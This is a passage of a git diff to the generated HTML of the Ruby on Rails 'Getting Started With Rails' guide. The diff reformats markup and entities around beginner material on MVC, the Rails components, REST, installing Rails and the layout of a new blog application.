+<div class="ulist"><div class="title">Authors</div><ul>
+<li>
+<p>
+Mislav Marohnić &lt;<a href="mailto:mislav.marohnic@gmail.com">mislav.marohnic@gmail.com</a>&gt;
+</p>
+</li>
+<li>
+<p>
+<a href="../authors.html#fcheung">Frederick Cheung</a>
+</p>
+</li>
+</ul></div>
</div>
- </div>
- </div>
+ </div>
+ </div>
</body>
</html>
diff --git a/railties/doc/guides/html/getting_started_with_rails.html b/railties/doc/guides/html/getting_started_with_rails.html
index ac16a79ac1..a79d9903aa 100644
--- a/railties/doc/guides/html/getting_started_with_rails.html
+++ b/railties/doc/guides/html/getting_started_with_rails.html
@@ -1,316 +1,148 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Getting Started With Rails</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
- <style type="text/css">
- div#container {
- max-width: 900px;
- padding-bottom: 3em;
-}
-
-div#content {
- margin-left: 200px;
-}
-
-div#container.notoc {
- max-width: 600px;
-}
-
-.notoc div#content {
- margin-left: 0;
-}
-
-pre {
- line-height: 1.4em;
-}
-
-#content p tt {
- background: #eeeeee;
- border: solid 1px #cccccc;
- padding: 3px;
-}
-
-dt {
- font-weight: bold;
-}
-
-#content dt tt {
- font-size: 10pt;
-}
-
-dd {
- margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
- background: none;
- padding: 0;
- border: 0;
-}
-
-#content .olist ol {
- margin-left: 2em;
-}
-
-#header {
- position: relative;
- max-width: 840px;
- margin-left: auto;
- margin-right: auto;
-}
-
-#header.notoc {
- max-width: 580px;
-}
-
-#logo {
- position: absolute;
- left: 10px;
- top: 10px;
- width: 110px;
- height: 140px;
-}
-
-div#header h1#site_title {
- background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
- position: absolute;
- width: 392px;
- height: 55px;
- left: 145px;
- top: 20px;
- margin: 0;
- padding: 0;
-}
-
-#site_title span {
- display: none;
-}
-
-#site_title_tagline {
- display: none;
-}
-
-ul#navMain {
- position: absolute;
- margin: 0;
- padding: 0;
- top: 97px;
- left: 145px;
-}
-
-.left-floaty, .right-floaty {
- padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
- margin-left: 1em;
- margin-right: 1em;
- margin-top: 0.25em;
- margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
- padding-right: 8px;
-}
-
-.admonitionblock .content {
- border: solid 1px #ffda78;
- background: #fffebd;
- padding: 10px;
- padding-top: 8px;
- padding-bottom: 8px;
-}
-
-.admonitionblock .title {
- font-size: 140%;
- margin-bottom: 0.5em;
-}
-
-.tableblock table {
- border: solid 1px #aaaaff;
- background: #f0f0ff;
-}
-
-.tableblock th {
- background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
- padding: 3px;
- padding-left: 5px;
- padding-right: 5px;
-}
-
-.sidebarblock {
- margin-top: 0.25em;
- margin: 1em;
- border: solid 1px #ccccbb;
- padding: 8px;
- background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
- font-size: 140%;
- font-weight: 600;
- margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
- margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
- text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
- text-decoration: underline;
-}
-
- </style>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title>Getting Started With Rails</title>
+ <!--[if lt IE 8]>
+ <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+ <![endif]-->
+ <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
</head>
<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+ <div id="header" >
+ <div id="logo">
+ <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+ </div>
+
+ <h1 id="site_title"><span>Ruby on Rails</span></h1>
+ <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
+ <ul id="navMain">
+ <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+ <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+ </ul>
+ </div>
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_this_guide_assumes">This Guide Assumes</a>
- </li>
- <li>
- <a href="#_what_is_rails">What is Rails?</a>
- <ul>
-
- <li><a href="#_the_mvc_architecture">The MVC Architecture</a></li>
-
- <li><a href="#_the_components_of_rails">The Components of Rails</a></li>
-
- <li><a href="#_rest">REST</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_creating_a_new_rails_project">Creating a New Rails Project</a>
- <ul>
-
- <li><a href="#_installing_rails">Installing Rails</a></li>
-
- <li><a href="#_creating_the_blog_application">Creating the Blog Application</a></li>
-
- <li><a href="#_configuring_a_database">Configuring a Database</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_hello_rails">Hello, Rails!</a>
- <ul>
-
- <li><a href="#_starting_up_the_web_server">Starting up the Web Server</a></li>
-
- <li><a href="#_setting_the_application_home_page">Setting the Application Home Page</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_getting_up_and_running_quickly_with_scaffolding">Getting Up and Running Quickly With Scaffolding</a>
- </li>
- <li>
- <a href="#_creating_a_resource">Creating a Resource</a>
- <ul>
-
- <li><a href="#_running_a_migration">Running a Migration</a></li>
-
- <li><a href="#_adding_a_link">Adding a Link</a></li>
-
- <li><a href="#_working_with_posts_in_the_browser">Working with Posts in the Browser</a></li>
-
- <li><a href="#_the_model">The Model</a></li>
-
- <li><a href="#_adding_some_validation">Adding Some Validation</a></li>
-
- <li><a href="#_using_the_console">Using the Console</a></li>
-
- <li><a href="#_listing_all_posts">Listing All Posts</a></li>
-
- <li><a href="#_customizing_the_layout">Customizing the Layout</a></li>
-
- <li><a href="#_creating_new_posts">Creating New Posts</a></li>
-
- <li><a href="#_showing_an_individual_post">Showing an Individual Post</a></li>
-
- <li><a href="#_editing_posts">Editing Posts</a></li>
-
- <li><a href="#_destroying_a_post">Destroying a Post</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_drying_up_the_code">DRYing up the Code</a>
- <ul>
-
- <li><a href="#_using_partials_to_eliminate_view_duplication">Using Partials to Eliminate View Duplication</a></li>
-
- <li><a href="#_using_filters_to_eliminate_controller_duplication">Using Filters to Eliminate Controller Duplication</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_adding_a_second_model">Adding a Second Model</a>
- <ul>
-
- <li><a href="#_generating_a_model">Generating a Model</a></li>
-
- <li><a href="#_associating_models">Associating Models</a></li>
-
- <li><a href="#_adding_a_route">Adding a Route</a></li>
-
- <li><a href="#_generating_a_controller">Generating a Controller</a></li>
-
- <li><a href="#_building_views">Building Views</a></li>
-
- <li><a href="#_hooking_comments_to_posts">Hooking Comments to Posts</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_what_s_next">What's Next?</a>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Getting Started With Rails</h1>
- <div id="preamble">
+ <div id="container">
+
+ <div id="sidebar">
+ <h2>Chapters</h2>
+ <ol>
+ <li>
+ <a href="#_this_guide_assumes">This Guide Assumes</a>
+ </li>
+ <li>
+ <a href="#_what_is_rails">What is Rails?</a>
+ <ul>
+
+ <li><a href="#_the_mvc_architecture">The MVC Architecture</a></li>
+
+ <li><a href="#_the_components_of_rails">The Components of Rails</a></li>
+
+ <li><a href="#_rest">REST</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_creating_a_new_rails_project">Creating a New Rails Project</a>
+ <ul>
+
+ <li><a href="#_installing_rails">Installing Rails</a></li>
+
+ <li><a href="#_creating_the_blog_application">Creating the Blog Application</a></li>
+
+ <li><a href="#_configuring_a_database">Configuring a Database</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_hello_rails">Hello, Rails!</a>
+ <ul>
+
+ <li><a href="#_starting_up_the_web_server">Starting up the Web Server</a></li>
+
+ <li><a href="#_setting_the_application_home_page">Setting the Application Home Page</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_getting_up_and_running_quickly_with_scaffolding">Getting Up and Running Quickly With Scaffolding</a>
+ </li>
+ <li>
+ <a href="#_creating_a_resource">Creating a Resource</a>
+ <ul>
+
+ <li><a href="#_running_a_migration">Running a Migration</a></li>
+
+ <li><a href="#_adding_a_link">Adding a Link</a></li>
+
+ <li><a href="#_working_with_posts_in_the_browser">Working with Posts in the Browser</a></li>
+
+ <li><a href="#_the_model">The Model</a></li>
+
+ <li><a href="#_adding_some_validation">Adding Some Validation</a></li>
+
+ <li><a href="#_using_the_console">Using the Console</a></li>
+
+ <li><a href="#_listing_all_posts">Listing All Posts</a></li>
+
+ <li><a href="#_customizing_the_layout">Customizing the Layout</a></li>
+
+ <li><a href="#_creating_new_posts">Creating New Posts</a></li>
+
+ <li><a href="#_showing_an_individual_post">Showing an Individual Post</a></li>
+
+ <li><a href="#_editing_posts">Editing Posts</a></li>
+
+ <li><a href="#_destroying_a_post">Destroying a Post</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_drying_up_the_code">DRYing up the Code</a>
+ <ul>
+
+ <li><a href="#_using_partials_to_eliminate_view_duplication">Using Partials to Eliminate View Duplication</a></li>
+
+ <li><a href="#_using_filters_to_eliminate_controller_duplication">Using Filters to Eliminate Controller Duplication</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_adding_a_second_model">Adding a Second Model</a>
+ <ul>
+
+ <li><a href="#_generating_a_model">Generating a Model</a></li>
+
+ <li><a href="#_associating_models">Associating Models</a></li>
+
+ <li><a href="#_adding_a_route">Adding a Route</a></li>
+
+ <li><a href="#_generating_a_controller">Generating a Controller</a></li>
+
+ <li><a href="#_building_views">Building Views</a></li>
+
+ <li><a href="#_hooking_comments_to_posts">Hooking Comments to Posts</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_what_8217_s_next">What&#8217;s Next?</a>
+ </li>
+ <li>
+ <a href="#_changelog">Changelog</a>
+ </li>
+ </ol>
+ </div>
+
+ <div id="content">
+ <h1>Getting Started With Rails</h1>
+ <div id="preamble">
<div class="sectionbody">
-<div class="para"><p>This guide covers getting up and running with Ruby on Rails. After reading it, you should be familiar with:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>This guide covers getting up and running with Ruby on Rails. After reading it, you should be familiar with:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Installing Rails, creating a new Rails application, and connecting your application to a database
@@ -336,8 +168,8 @@ How to quickly generate the starting pieces of a Rails application.
</div>
<h2 id="_this_guide_assumes">1. This Guide Assumes</h2>
<div class="sectionbody">
-<div class="para"><p>This guide is designed for beginners who want to get started with a Rails application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>This guide is designed for beginners who want to get started with a Rails application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed:</p></div>
+<div class="ulist"><ul>
<li>
<p>
The <a href="http://www.ruby-lang.org/en/downloads/">Ruby</a> language
@@ -354,8 +186,8 @@ A working installation of <a href="http://www.sqlite.org/">SQLite</a> (preferred
</p>
</li>
</ul></div>
-<div class="para"><p>It is highly recommended that you <strong>familiarize yourself with Ruby before diving into Rails</strong>. You will find it much easier to follow what's going on with a Rails application if you understand basic Ruby syntax. Rails isn't going to magically revolutionize the way you write web applications if you have no experience with the language it uses. There are some good free resources on the net for learning Ruby, including:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>It is highly recommended that you <strong>familiarize yourself with Ruby before diving into Rails</strong>. You will find it much easier to follow what&#8217;s going on with a Rails application if you understand basic Ruby syntax. Rails isn&#8217;t going to magically revolutionize the way you write web applications if you have no experience with the language it uses. There are some good free resources on the net for learning Ruby, including:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<a href="http://www.humblelittlerubybook.com/">Mr. Neigborly’s Humble Little Ruby Book</a>
@@ -368,25 +200,25 @@ A working installation of <a href="http://www.sqlite.org/">SQLite</a> (preferred
</li>
<li>
<p>
-<a href="http://poignantguide.net/ruby/">Why's (Poignant) Guide to Ruby</a>
+<a href="http://poignantguide.net/ruby/">Why&#8217;s (Poignant) Guide to Ruby</a>
</p>
</li>
</ul></div>
</div>
<h2 id="_what_is_rails">2. What is Rails?</h2>
<div class="sectionbody">
-<div class="para"><p>Rails is a web development framework written in the Ruby language. It is designed to make programming web applications easier by making several assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Longtime Rails developers also report that it makes web application development more fun.</p></div>
-<div class="para"><p>Rails is <em>opinionated software</em>. That is, it assumes that there is a best way to do things, and it's designed to encourage that best way - and in some cases discourage alternatives. If you learn "The Rails Way" you'll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience.</p></div>
-<div class="para"><p>The Rails philosophy includes several guiding principles:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Rails is a web development framework written in the Ruby language. It is designed to make programming web applications easier by making several assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Longtime Rails developers also report that it makes web application development more fun.</p></div>
+<div class="paragraph"><p>Rails is <em>opinionated software</em>. That is, it assumes that there is a best way to do things, and it&#8217;s designed to encourage that best way - and in some cases discourage alternatives. If you learn "The Rails Way" you&#8217;ll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience.</p></div>
+<div class="paragraph"><p>The Rails philosophy includes several guiding principles:</p></div>
+<div class="ulist"><ul>
<li>
<p>
-DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing.
+DRY - "Don&#8217;t Repeat Yourself" - suggests that writing the same code over and over again is a bad thing.
</p>
</li>
<li>
<p>
-Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to do it, rather than letting you tweak every little thing through endless configuration files.
+Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you&#8217;re going to do it, rather than letting you tweak every little thing through endless configuration files.
</p>
</li>
<li>
@@ -396,8 +228,8 @@ REST is the best pattern for web applications - organizing your application arou
</li>
</ul></div>
<h3 id="_the_mvc_architecture">2.1. The MVC Architecture</h3>
-<div class="para"><p>Rails is organized around the Model, View, Controller architecture, usually just called MVC. MVC benefits include:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Rails is organized around the Model, View, Controller architecture, usually just called MVC. MVC benefits include:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Isolation of business logic from the user interface
@@ -415,14 +247,14 @@ Making it clear where different types of code belong for easier maintenance
</li>
</ul></div>
<h4 id="_models">2.1.1. Models</h4>
-<div class="para"><p>A model represents the information (data) of the application and the rules to manipulate that data. In the case of Rails, models are primarily used for managing the rules of interaction with a corresponding database table. In most cases, one table in your database will correspond to one model in your application. The bulk of your application's business logic will be concentrated in the models.</p></div>
+<div class="paragraph"><p>A model represents the information (data) of the application and the rules to manipulate that data. In the case of Rails, models are primarily used for managing the rules of interaction with a corresponding database table. In most cases, one table in your database will correspond to one model in your application. The bulk of your application&#8217;s business logic will be concentrated in the models.</p></div>
<h4 id="_views">2.1.2. Views</h4>
-<div class="para"><p>Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that performs tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application.</p></div>
+<div class="paragraph"><p>Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that performs tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application.</p></div>
<h4 id="_controllers">2.1.3. Controllers</h4>
-<div class="para"><p>Controllers provide the "glue" between models and views. In Rails, controllers are responsible for processing the incoming requests from the web browser, interrogating the models for data, and passing that data on to the views for presentation.</p></div>
+<div class="paragraph"><p>Controllers provide the "glue" between models and views. In Rails, controllers are responsible for processing the incoming requests from the web browser, interrogating the models for data, and passing that data on to the views for presentation.</p></div>
<h3 id="_the_components_of_rails">2.2. The Components of Rails</h3>
-<div class="para"><p>Rails provides a full stack of components for creating web applications, including:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Rails provides a full stack of components for creating web applications, including:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Action Controller
@@ -460,22 +292,22 @@ Active Support
</li>
</ul></div>
<h4 id="_action_controller">2.2.1. Action Controller</h4>
-<div class="para"><p>Action Controller is the component that manages the controllers in a Rails application. The Action Controller framework processes incoming requests to a Rails application, extracts parameters, and dispatches them to the intended action. Services provided by Action Controller include session management, template rendering, and redirect management.</p></div>
+<div class="paragraph"><p>Action Controller is the component that manages the controllers in a Rails application. The Action Controller framework processes incoming requests to a Rails application, extracts parameters, and dispatches them to the intended action. Services provided by Action Controller include session management, template rendering, and redirect management.</p></div>
<h4 id="_action_view">2.2.2. Action View</h4>
-<div class="para"><p>Action View manages the views of your Rails application. It can create both HTML and XML output by default. Action View manages rendering templates, including nested and partial templates, and includes built-in AJAX support.</p></div>
+<div class="paragraph"><p>Action View manages the views of your Rails application. It can create both HTML and XML output by default. Action View manages rendering templates, including nested and partial templates, and includes built-in AJAX support.</p></div>
<h4 id="_active_record">2.2.3. Active Record</h4>
-<div class="para"><p>Active Record is the base for the models in a Rails application. It provides database independence, basic CRUD functionality, advanced finding capabilities, and the ability to relate models to one another, among other services.</p></div>
+<div class="paragraph"><p>Active Record is the base for the models in a Rails application. It provides database independence, basic CRUD functionality, advanced finding capabilities, and the ability to relate models to one another, among other services.</p></div>
<h4 id="_action_mailer">2.2.4. Action Mailer</h4>
-<div class="para"><p>Action Mailer is a framework for building e-mail services. You can use Action Mailer to send emails based on flexible templates, or to receive and process incoming email.</p></div>
+<div class="paragraph"><p>Action Mailer is a framework for building e-mail services. You can use Action Mailer to send emails based on flexible templates, or to receive and process incoming email.</p></div>
<h4 id="_active_resource">2.2.5. Active Resource</h4>
-<div class="para"><p>Active Resource provides a framework for managing the connection between business objects an RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics.</p></div>
+<div class="paragraph"><p>Active Resource provides a framework for managing the connection between business objects an RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics.</p></div>
<h4 id="_railties">2.2.6. Railties</h4>
-<div class="para"><p>Railties is the core Rails code that builds new Rails applications and glues the various frameworks together in any Rails application.</p></div>
+<div class="paragraph"><p>Railties is the core Rails code that builds new Rails applications and glues the various frameworks together in any Rails application.</p></div>
<h4 id="_active_support">2.2.7. Active Support</h4>
-<div class="para"><p>Active Support is an extensive collection of utility classes and standard Ruby library extensions that are used in the Rails, both by the core code and by your applications.</p></div>
+<div class="paragraph"><p>Active Support is an extensive collection of utility classes and standard Ruby library extensions that are used in the Rails, both by the core code and by your applications.</p></div>
<h3 id="_rest">2.3. REST</h3>
-<div class="para"><p>The foundation of the RESTful architecture is generally considered to be Roy Fielding's doctoral thesis, <a href="http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm">Architectural Styles and the Design of Network-based Software Architectures</a>. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>The foundation of the RESTful architecture is generally considered to be Roy Fielding&#8217;s doctoral thesis, <a href="http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm">Architectural Styles and the Design of Network-based Software Architectures</a>. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources
@@ -487,11 +319,11 @@ Transferring representations of the state of that resource between system compon
</p>
</li>
</ul></div>
-<div class="para"><p>For example, to a Rails application a request such as this:</p></div>
-<div class="para"><p><tt>DELETE /photos/17</tt></p></div>
-<div class="para"><p>would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities.</p></div>
-<div class="para"><p>If you’d like more details on REST as an architectural style, these resources are more approachable than Fielding’s thesis:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>For example, to a Rails application a request such as this:</p></div>
+<div class="paragraph"><p><tt>DELETE /photos/17</tt></p></div>
+<div class="paragraph"><p>would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities.</p></div>
+<div class="paragraph"><p>If you’d like more details on REST as an architectural style, these resources are more approachable than Fielding’s thesis:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<a href="http://www.infoq.com/articles/rest-introduction">A Brief Introduction to REST</a> by Stefan Tilkov
@@ -511,16 +343,15 @@ Transferring representations of the state of that resource between system compon
</div>
<h2 id="_creating_a_new_rails_project">3. Creating a New Rails Project</h2>
<div class="sectionbody">
-<div class="para"><p>If you follow this guide, you'll create a Rails project called <tt>blog</tt>, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed.</p></div>
+<div class="paragraph"><p>If you follow this guide, you&#8217;ll create a Rails project called <tt>blog</tt>, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed.</p></div>
<h3 id="_installing_rails">3.1. Installing Rails</h3>
-<div class="para"><p>In most cases, the easiest way to install Rails is to take advantage of RubyGems:</p></div>
+<div class="paragraph"><p>In most cases, the easiest way to install Rails is to take advantage of RubyGems:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ gem install rails
-</tt></pre></div></div>
+<pre><tt>$ gem install rails</tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -529,180 +360,121 @@ http://www.gnu.org/software/src-highlite -->
<td class="content">There are some special circumstances in which you might want to use an alternate installation strategy:</td>
</tr></table>
</div>
-<div class="ilist"><ul>
+<div class="ulist"><ul>
<li>
<p>
-If you're working on Windows, you may find it easier to install <a href="http://instantrails.rubyforge.org/wiki/wiki.pl">Instant Rails</a>. Be aware, though, that Instant Rails releases tend to lag seriously behind the actual Rails version. Also, you will find that Rails development on Windows is overall less pleasant than on other operating systems. If at all possible, we suggest that you install a Linux virtual machine and use that for Rails development, instead of using Windows.
+If you&#8217;re working on Windows, you may find it easier to install <a href="http://instantrails.rubyforge.org/wiki/wiki.pl">Instant Rails</a>. Be aware, though, that Instant Rails releases tend to lag seriously behind the actual Rails version. Also, you will find that Rails development on Windows is overall less pleasant than on other operating systems. If at all possible, we suggest that you install a Linux virtual machine and use that for Rails development, instead of using Windows.
</p>
</li>
<li>
<p>
-If you want to keep up with cutting-edge changes to Rails, you'll want to clone the <a href="http://github.com/rails/rails/tree/master">Rails source code</a> from github. This is not recommended as an option for beginners, though.
+If you want to keep up with cutting-edge changes to Rails, you&#8217;ll want to clone the <a href="http://github.com/rails/rails/tree/master">Rails source code</a> from github. This is not recommended as an option for beginners, though.
</p>
</li>
</ul></div>
<h3 id="_creating_the_blog_application">3.2. Creating the Blog Application</h3>
-<div class="para"><p>Open a terminal, navigate to a folder where you have rights to create files, and type:</p></div>
+<div class="paragraph"><p>Open a terminal, navigate to a folder where you have rights to create files, and type:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rails blog
-</tt></pre></div></div>
-<div class="para"><p>This will create a Rails application that uses a SQLite database for data storage. If you prefer to use MySQL, run this command instead:</p></div>
+<pre><tt>$ rails blog</tt></pre></div></div>
+<div class="paragraph"><p>This will create a Rails application that uses a SQLite database for data storage. If you prefer to use MySQL, run this command instead:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rails blog -d mysql
-</tt></pre></div></div>
-<div class="para"><p>And if you're using PostgreSQL for data storage, run this command:</p></div>
+<pre><tt>$ rails blog -d mysql</tt></pre></div></div>
+<div class="paragraph"><p>And if you&#8217;re using PostgreSQL for data storage, run this command:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rails blog -d postgresql
-</tt></pre></div></div>
-<div class="para"><p>After you create the blog application, switch to its folder to continue work directly in that application:</p></div>
+<pre><tt>$ rails blog -d postgresql</tt></pre></div></div>
+<div class="paragraph"><p>After you create the blog application, switch to its folder to continue work directly in that application:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ cd blog
-</tt></pre></div></div>
-<div class="para"><p>In any case, Rails will create a folder in your working directory called <tt>blog</tt>. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the <tt>app/</tt> folder, but here's a basic rundown on the function of each folder that Rails creates in a new application by default:</p></div>
+<pre><tt>$ cd blog</tt></pre></div></div>
+<div class="paragraph"><p>In any case, Rails will create a folder in your working directory called <tt>blog</tt>. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the <tt>app/</tt> folder, but here&#8217;s a basic rundown on the function of each folder that Rails creates in a new application by default:</p></div>
<div class="tableblock">
<table rules="all"
-frame="hsides"
+width="100%"
+frame="border"
cellspacing="0" cellpadding="4">
-<col width="137" />
-<col width="1440" />
-<thead>
- <tr>
- <th align="left">
- File/Folder
- </th>
- <th align="left">
- Purpose
- </th>
- </tr>
+<col width="50%" />
+<col width="50%" />
+<thead valign="top">
+<tr>
+<th align="left">File/Folder </th>
+<th align="left">Purpose</th>
+</tr>
</thead>
<tbody valign="top">
- <tr>
- <td align="left">
- <tt>README</tt>
- </td>
- <td align="left">
- This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on.
- </td>
- </tr>
- <tr>
- <td align="left">
- <tt>Rakefile</tt>
- </td>
- <td align="left">
- This file contains batch jobs that can be run from the terminal.
- </td>
- </tr>
- <tr>
- <td align="left">
- <tt>app/</tt>
- </td>
- <td align="left">
- Contains the controllers, models, and views for your application. You'll focus on this folder for the remainder of this guide.
- </td>
- </tr>
- <tr>
- <td align="left">
- <tt>config/</tt>
- </td>
- <td align="left">
- Configure your application's runtime rules, routes, database, and more.
- </td>
- </tr>
- <tr>
- <td align="left">
- <tt>db/</tt>
- </td>
- <td align="left">
- Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly.
- </td>
- </tr>
- <tr>
- <td align="left">
- <tt>doc/</tt>
- </td>
- <td align="left">
- In-depth documentation for your application.
- </td>
- </tr>
- <tr>
- <td align="left">
- <tt>lib/</tt>
- </td>
- <td align="left">
- Extended modules for your application (not covered in this guide).
- </td>
- </tr>
- <tr>
- <td align="left">
- <tt>log/</tt>
- </td>
- <td align="left">
- Application log files.
- </td>
- </tr>
- <tr>
- <td align="left">
- <tt>public/</tt>
- </td>
- <td align="left">
- The only folder seen to the world as-is. This is where your images, javascript, stylesheets (CSS), and other static files go.
- </td>
- </tr>
- <tr>
- <td align="left">
- <tt>script/</tt>
- </td>
- <td align="left">
- Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server.
- </td>
- </tr>
- <tr>
- <td align="left">
- <tt>test/</tt>
- </td>
- <td align="left">
- Unit tests, fixtures, and other test apparatus. These are covered in <a href="../testing_rails_applications.html">Testing Rails Applications</a>
- </td>
- </tr>
- <tr>
- <td align="left">
- <tt>tmp/</tt>
- </td>
- <td align="left">
- Temporary files
- </td>
- </tr>
- <tr>
- <td align="left">
- <tt>vendor/</tt>
- </td>
- <td align="left">
- A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.
- </td>
- </tr>
+<tr>
+<td align="left"><p class="table"><tt>README</tt></p></td>
